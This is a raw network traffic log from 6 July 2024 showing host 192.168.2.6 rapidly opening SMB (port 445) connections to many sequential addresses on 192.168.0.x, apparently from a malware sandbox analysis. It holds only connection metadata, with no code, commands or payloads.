Jul 6, 2024 14:11:22.121385098 CEST	445	49984	192.168.0.175	192.168.2.6
Jul 6, 2024 14:11:22.122098923 CEST	49984	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:22.122098923 CEST	49984	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:22.122399092 CEST	49983	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:22.122399092 CEST	49983	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:22.127928019 CEST	445	49984	192.168.0.175	192.168.2.6
Jul 6, 2024 14:11:22.127944946 CEST	445	49983	192.168.0.49	192.168.2.6
Jul 6, 2024 14:11:22.127999067 CEST	49984	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:22.128161907 CEST	445	49983	192.168.0.49	192.168.2.6
Jul 6, 2024 14:11:22.132435083 CEST	49985	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:22.141376019 CEST	445	49985	192.168.0.176	192.168.2.6
Jul 6, 2024 14:11:22.141442060 CEST	49985	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:22.141565084 CEST	49985	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:22.147533894 CEST	49986	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:22.147738934 CEST	49987	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:22.148015976 CEST	49988	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:22.152393103 CEST	445	49985	192.168.0.176	192.168.2.6
Jul 6, 2024 14:11:22.152448893 CEST	49985	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:22.154705048 CEST	445	49986	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:22.154772997 CEST	49986	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:22.154896975 CEST	49986	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:22.154982090 CEST	445	49987	192.168.0.51	192.168.2.6
Jul 6, 2024 14:11:22.155060053 CEST	49987	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:22.155190945 CEST	49987	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:22.155436039 CEST	445	49988	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:22.155520916 CEST	49988	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:22.155627966 CEST	49988	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:22.160922050 CEST	445	49986	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:22.160984993 CEST	445	49986	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:22.161101103 CEST	49986	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:22.161515951 CEST	445	49987	192.168.0.51	192.168.2.6
Jul 6, 2024 14:11:22.161572933 CEST	49987	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:22.161887884 CEST	445	49987	192.168.0.51	192.168.2.6
Jul 6, 2024 14:11:22.162187099 CEST	445	49988	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:22.162414074 CEST	49988	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:22.163012981 CEST	445	49988	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:22.163505077 CEST	49989	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:22.168118000 CEST	445	49986	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:22.168137074 CEST	445	49987	192.168.0.51	192.168.2.6
Jul 6, 2024 14:11:22.170861006 CEST	445	49989	192.168.0.178	192.168.2.6
Jul 6, 2024 14:11:22.170948982 CEST	49989	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:22.171075106 CEST	49989	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:22.176803112 CEST	445	49989	192.168.0.178	192.168.2.6
Jul 6, 2024 14:11:22.176855087 CEST	49989	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:22.177397013 CEST	445	49989	192.168.0.178	192.168.2.6
Jul 6, 2024 14:11:22.178859949 CEST	49990	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:22.180226088 CEST	49991	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:22.184456110 CEST	445	49990	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:22.185584068 CEST	445	49991	192.168.0.179	192.168.2.6
Jul 6, 2024 14:11:22.185688972 CEST	49990	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:22.188148975 CEST	49991	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:22.190855980 CEST	49990	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:22.190895081 CEST	49991	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:22.190967083 CEST	445	49990	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:22.191421032 CEST	49990	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:22.193260908 CEST	445	49991	192.168.0.179	192.168.2.6
Jul 6, 2024 14:11:22.193315983 CEST	49991	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:22.194678068 CEST	49992	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:22.194938898 CEST	49993	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:22.195760965 CEST	445	49990	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:22.195830107 CEST	445	49991	192.168.0.179	192.168.2.6
Jul 6, 2024 14:11:22.196609974 CEST	445	49990	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:22.199903011 CEST	445	49992	192.168.0.53	192.168.2.6
Jul 6, 2024 14:11:22.200159073 CEST	445	49993	192.168.0.180	192.168.2.6
Jul 6, 2024 14:11:22.200225115 CEST	49993	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:22.200330973 CEST	49993	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:22.201325893 CEST	49992	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:22.201325893 CEST	49992	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:22.205671072 CEST	445	49993	192.168.0.180	192.168.2.6
Jul 6, 2024 14:11:22.205722094 CEST	49993	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:22.206131935 CEST	445	49992	192.168.0.53	192.168.2.6
Jul 6, 2024 14:11:22.206832886 CEST	445	49992	192.168.0.53	192.168.2.6
Jul 6, 2024 14:11:22.210160017 CEST	49994	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:22.215220928 CEST	445	49994	192.168.0.181	192.168.2.6
Jul 6, 2024 14:11:22.215291023 CEST	49994	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:22.215367079 CEST	49994	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:22.220679045 CEST	445	49994	192.168.0.181	192.168.2.6
Jul 6, 2024 14:11:22.220731020 CEST	49994	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:22.225652933 CEST	49995	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:22.225678921 CEST	49996	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:22.225836039 CEST	49997	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:22.226079941 CEST	49998	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:22.230561972 CEST	445	49995	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:22.230638027 CEST	445	49996	192.168.0.54	192.168.2.6
Jul 6, 2024 14:11:22.230756044 CEST	445	49997	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:22.231004953 CEST	445	49998	192.168.0.182	192.168.2.6
Jul 6, 2024 14:11:22.231607914 CEST	49995	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:22.231607914 CEST	49996	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:22.231607914 CEST	49996	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:22.231609106 CEST	49995	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:22.232261896 CEST	49998	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:22.232261896 CEST	49998	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:22.232523918 CEST	49997	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:22.232523918 CEST	49997	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:22.237072945 CEST	445	49996	192.168.0.54	192.168.2.6
Jul 6, 2024 14:11:22.237082958 CEST	445	49995	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:22.237649918 CEST	445	49995	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:22.237821102 CEST	445	49996	192.168.0.54	192.168.2.6
Jul 6, 2024 14:11:22.237982988 CEST	445	49997	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:22.238667965 CEST	445	49997	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:22.239655972 CEST	445	49998	192.168.0.182	192.168.2.6
Jul 6, 2024 14:11:22.239707947 CEST	49998	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:22.241523981 CEST	49999	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:22.246767998 CEST	445	49999	192.168.0.183	192.168.2.6
Jul 6, 2024 14:11:22.246834993 CEST	49999	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:22.246926069 CEST	49999	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:22.255873919 CEST	445	49999	192.168.0.183	192.168.2.6
Jul 6, 2024 14:11:22.256082058 CEST	49999	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:22.257009029 CEST	50000	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:22.271055937 CEST	445	50000	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:22.271125078 CEST	50000	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:22.271219015 CEST	50000	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:22.272706032 CEST	50001	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:22.272943974 CEST	50002	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:22.288279057 CEST	50004	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:22.288327932 CEST	50003	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:22.288527012 CEST	50005	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:22.288976908 CEST	445	50000	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:22.289027929 CEST	50000	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:22.289109945 CEST	445	50000	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:22.294461966 CEST	445	50001	192.168.0.57	192.168.2.6
Jul 6, 2024 14:11:22.294472933 CEST	445	50002	192.168.0.185	192.168.2.6
Jul 6, 2024 14:11:22.294538975 CEST	50001	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:22.294550896 CEST	50002	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:22.295325041 CEST	50001	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:22.303592920 CEST	50002	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:22.303823948 CEST	50006	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:22.304173946 CEST	50007	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:22.305296898 CEST	445	50004	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:22.305308104 CEST	445	50003	192.168.0.58	192.168.2.6
Jul 6, 2024 14:11:22.305318117 CEST	445	50005	192.168.0.186	192.168.2.6
Jul 6, 2024 14:11:22.305339098 CEST	445	50001	192.168.0.57	192.168.2.6
Jul 6, 2024 14:11:22.305380106 CEST	50004	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:22.305423021 CEST	50003	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:22.305428028 CEST	50005	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:22.306690931 CEST	50004	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:22.307714939 CEST	445	50002	192.168.0.185	192.168.2.6
Jul 6, 2024 14:11:22.308213949 CEST	50002	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:22.310381889 CEST	50005	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:22.319546938 CEST	50008	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:22.319632053 CEST	50009	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:22.319906950 CEST	50010	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:22.320059061 CEST	445	50002	192.168.0.185	192.168.2.6
Jul 6, 2024 14:11:22.320070028 CEST	445	50006	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:22.320142984 CEST	50006	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:22.320256948 CEST	445	50007	192.168.0.187	192.168.2.6
Jul 6, 2024 14:11:22.320265055 CEST	50006	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:22.320267916 CEST	445	50004	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:22.320408106 CEST	50004	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:22.320410967 CEST	445	50004	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:22.320880890 CEST	445	50003	192.168.0.58	192.168.2.6
Jul 6, 2024 14:11:22.321357965 CEST	50003	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:22.322115898 CEST	50007	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:22.322115898 CEST	50007	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:22.323122025 CEST	445	50005	192.168.0.186	192.168.2.6
Jul 6, 2024 14:11:22.324626923 CEST	445	50008	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:22.324651003 CEST	50005	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:22.324652910 CEST	445	50009	192.168.0.62	192.168.2.6
Jul 6, 2024 14:11:22.324922085 CEST	50009	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:22.325047016 CEST	445	50010	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:22.325289011 CEST	445	50006	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:22.325582981 CEST	445	50006	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:22.326312065 CEST	50008	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:22.326312065 CEST	50008	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:22.326677084 CEST	445	50004	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:22.326829910 CEST	50010	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:22.330590010 CEST	445	50007	192.168.0.187	192.168.2.6
Jul 6, 2024 14:11:22.331506968 CEST	445	50008	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:22.331597090 CEST	50008	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:22.331783056 CEST	445	50008	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:22.332487106 CEST	445	50009	192.168.0.62	192.168.2.6
Jul 6, 2024 14:11:22.333049059 CEST	445	50010	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:22.334141970 CEST	50009	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:22.334398031 CEST	50010	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:22.335114956 CEST	50011	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:22.335361004 CEST	50012	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:22.335685968 CEST	50010	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:22.335917950 CEST	50007	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:22.336489916 CEST	445	50008	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:22.339987993 CEST	445	50011	192.168.0.63	192.168.2.6
Jul 6, 2024 14:11:22.340401888 CEST	445	50012	192.168.0.189	192.168.2.6
Jul 6, 2024 14:11:22.340477943 CEST	50012	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:22.340531111 CEST	445	50010	192.168.0.188	192.168.2.6
Jul 6, 2024 14:11:22.340548038 CEST	50012	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:22.343003035 CEST	50011	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:22.343003035 CEST	50011	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:22.346070051 CEST	445	50012	192.168.0.189	192.168.2.6
Jul 6, 2024 14:11:22.346314907 CEST	50012	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:22.348329067 CEST	445	50011	192.168.0.63	192.168.2.6
Jul 6, 2024 14:11:22.348377943 CEST	445	50011	192.168.0.63	192.168.2.6
Jul 6, 2024 14:11:22.350701094 CEST	50013	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:22.350867033 CEST	50014	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:22.355711937 CEST	445	50013	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:22.355721951 CEST	445	50014	192.168.0.190	192.168.2.6
Jul 6, 2024 14:11:22.358057976 CEST	50014	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:22.358057976 CEST	50014	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:22.358935118 CEST	50013	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:22.358935118 CEST	50013	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:22.363543987 CEST	445	50014	192.168.0.190	192.168.2.6
Jul 6, 2024 14:11:22.363604069 CEST	50014	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:22.363964081 CEST	445	50013	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:22.364013910 CEST	50013	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:22.364074945 CEST	445	50013	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:22.366369963 CEST	50015	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:22.369137049 CEST	445	50013	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:22.371469021 CEST	445	50015	192.168.0.191	192.168.2.6
Jul 6, 2024 14:11:22.371547937 CEST	50015	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:22.371619940 CEST	50015	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:22.377290964 CEST	445	50015	192.168.0.191	192.168.2.6
Jul 6, 2024 14:11:22.377451897 CEST	50015	445	192.168.2.6	192.168.0.191
Jul 6, 2024 14:11:22.382083893 CEST	50016	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:22.382545948 CEST	50017	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:22.386936903 CEST	445	50016	192.168.0.65	192.168.2.6
Jul 6, 2024 14:11:22.387037039 CEST	50016	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:22.387111902 CEST	50016	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:22.388115883 CEST	445	50017	192.168.0.192	192.168.2.6
Jul 6, 2024 14:11:22.388401985 CEST	50017	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:22.392218113 CEST	445	50016	192.168.0.65	192.168.2.6
Jul 6, 2024 14:11:22.394768000 CEST	445	50017	192.168.0.192	192.168.2.6
Jul 6, 2024 14:11:22.394829988 CEST	50017	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:22.397322893 CEST	50017	445	192.168.2.6	192.168.0.192
Jul 6, 2024 14:11:22.397578001 CEST	50018	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:22.397682905 CEST	50019	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:22.402409077 CEST	445	50017	192.168.0.192	192.168.2.6
Jul 6, 2024 14:11:22.402673006 CEST	445	50018	192.168.0.66	192.168.2.6
Jul 6, 2024 14:11:22.402683020 CEST	445	50019	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:22.402890921 CEST	50019	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:22.402890921 CEST	50019	445	192.168.2.6	192.168.0.193
Jul 6, 2024 14:11:22.403615952 CEST	50018	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:22.403615952 CEST	50018	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:22.408401966 CEST	445	50019	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:22.408412933 CEST	445	50019	192.168.0.193	192.168.2.6
Jul 6, 2024 14:11:22.408802032 CEST	445	50018	192.168.0.66	192.168.2.6
Jul 6, 2024 14:11:22.408812046 CEST	445	50018	192.168.0.66	192.168.2.6
Jul 6, 2024 14:11:22.413130045 CEST	50020	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:22.415036917 CEST	50021	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:22.418375015 CEST	445	50020	192.168.0.67	192.168.2.6
Jul 6, 2024 14:11:22.418430090 CEST	50020	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:22.418514013 CEST	50020	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:22.421250105 CEST	445	50021	192.168.0.194	192.168.2.6
Jul 6, 2024 14:11:22.421314955 CEST	50021	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:22.421386003 CEST	50021	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:22.423398972 CEST	445	50020	192.168.0.67	192.168.2.6
Jul 6, 2024 14:11:22.426507950 CEST	445	50021	192.168.0.194	192.168.2.6
Jul 6, 2024 14:11:22.426569939 CEST	50021	445	192.168.2.6	192.168.0.194
Jul 6, 2024 14:11:22.428857088 CEST	50022	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:22.433695078 CEST	445	50022	192.168.0.195	192.168.2.6
Jul 6, 2024 14:11:22.433756113 CEST	50022	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:22.433849096 CEST	50022	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:22.438790083 CEST	445	50022	192.168.0.195	192.168.2.6
Jul 6, 2024 14:11:22.438935995 CEST	445	50022	192.168.0.195	192.168.2.6
Jul 6, 2024 14:11:22.440416098 CEST	50022	445	192.168.2.6	192.168.0.195
Jul 6, 2024 14:11:22.444387913 CEST	50024	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:22.444464922 CEST	50023	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:22.445318937 CEST	50025	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:22.450879097 CEST	445	50024	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:22.450889111 CEST	445	50023	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:22.451030970 CEST	50023	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:22.451132059 CEST	50023	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:22.451325893 CEST	445	50025	192.168.0.196	192.168.2.6
Jul 6, 2024 14:11:22.451389074 CEST	50025	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:22.451488018 CEST	50025	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:22.452435970 CEST	50024	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:22.452435970 CEST	50024	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:22.456307888 CEST	445	50023	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:22.456317902 CEST	445	50023	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:22.456971884 CEST	445	50025	192.168.0.196	192.168.2.6
Jul 6, 2024 14:11:22.457030058 CEST	50025	445	192.168.2.6	192.168.0.196
Jul 6, 2024 14:11:22.457585096 CEST	445	50024	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:22.457618952 CEST	445	50024	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:22.460181952 CEST	50026	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:22.465019941 CEST	445	50026	192.168.0.197	192.168.2.6
Jul 6, 2024 14:11:22.465102911 CEST	50026	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:22.465174913 CEST	50026	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:22.470381021 CEST	445	50026	192.168.0.197	192.168.2.6
Jul 6, 2024 14:11:22.470483065 CEST	50026	445	192.168.2.6	192.168.0.197
Jul 6, 2024 14:11:22.476061106 CEST	50028	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:22.476485014 CEST	50027	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:22.481260061 CEST	445	50028	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:22.481333971 CEST	50028	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:22.481412888 CEST	50028	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:22.481451988 CEST	445	50027	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:22.481548071 CEST	50027	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:22.481585026 CEST	50027	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:22.486391068 CEST	445	50027	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:22.487252951 CEST	445	50028	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:22.489527941 CEST	445	50028	192.168.0.198	192.168.2.6
Jul 6, 2024 14:11:22.489577055 CEST	50028	445	192.168.2.6	192.168.0.198
Jul 6, 2024 14:11:22.490000963 CEST	445	50027	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:22.491303921 CEST	50029	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:22.491507053 CEST	50030	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:22.496679068 CEST	445	50029	192.168.0.71	192.168.2.6
Jul 6, 2024 14:11:22.496829987 CEST	50029	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:22.496861935 CEST	445	50030	192.168.0.199	192.168.2.6
Jul 6, 2024 14:11:22.496944904 CEST	50029	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:22.499036074 CEST	50030	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:22.499036074 CEST	50030	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:22.501868010 CEST	445	50029	192.168.0.71	192.168.2.6
Jul 6, 2024 14:11:22.501967907 CEST	445	50029	192.168.0.71	192.168.2.6
Jul 6, 2024 14:11:22.504328012 CEST	445	50030	192.168.0.199	192.168.2.6
Jul 6, 2024 14:11:22.506408930 CEST	50030	445	192.168.2.6	192.168.0.199
Jul 6, 2024 14:11:22.507592916 CEST	50031	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:22.512624025 CEST	445	50031	192.168.0.200	192.168.2.6
Jul 6, 2024 14:11:22.512712002 CEST	50031	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:22.512851954 CEST	50031	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:22.517954111 CEST	445	50031	192.168.0.200	192.168.2.6
Jul 6, 2024 14:11:22.518009901 CEST	50031	445	192.168.2.6	192.168.0.200
Jul 6, 2024 14:11:22.523057938 CEST	50032	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:22.523268938 CEST	50033	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:22.523910046 CEST	50034	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:22.527864933 CEST	445	50032	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:22.528371096 CEST	445	50033	192.168.0.72	192.168.2.6
Jul 6, 2024 14:11:22.528779030 CEST	445	50034	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:22.529226065 CEST	50032	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:22.529256105 CEST	50032	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:22.529256105 CEST	50033	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:22.530005932 CEST	50034	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:22.534091949 CEST	445	50032	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:22.534657001 CEST	445	50032	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:22.535039902 CEST	445	50033	192.168.0.72	192.168.2.6
Jul 6, 2024 14:11:22.535717964 CEST	50033	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:22.535717964 CEST	50033	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:22.535749912 CEST	50034	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:22.537543058 CEST	445	50034	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:22.537797928 CEST	50034	445	192.168.2.6	192.168.0.201
Jul 6, 2024 14:11:22.538505077 CEST	50035	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:22.538947105 CEST	50036	445	192.168.2.6	192.168.0.202
Jul 6, 2024 14:11:22.540561914 CEST	445	50033	192.168.0.72	192.168.2.6
Jul 6, 2024 14:11:22.540604115 CEST	445	50034	192.168.0.201	192.168.2.6
Jul 6, 2024 14:11:22.543303967 CEST	445	50035	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:22.543379068 CEST	50035	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:22.543461084 CEST	50035	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:22.543828964 CEST	445	50036	192.168.0.202	192.168.2.6
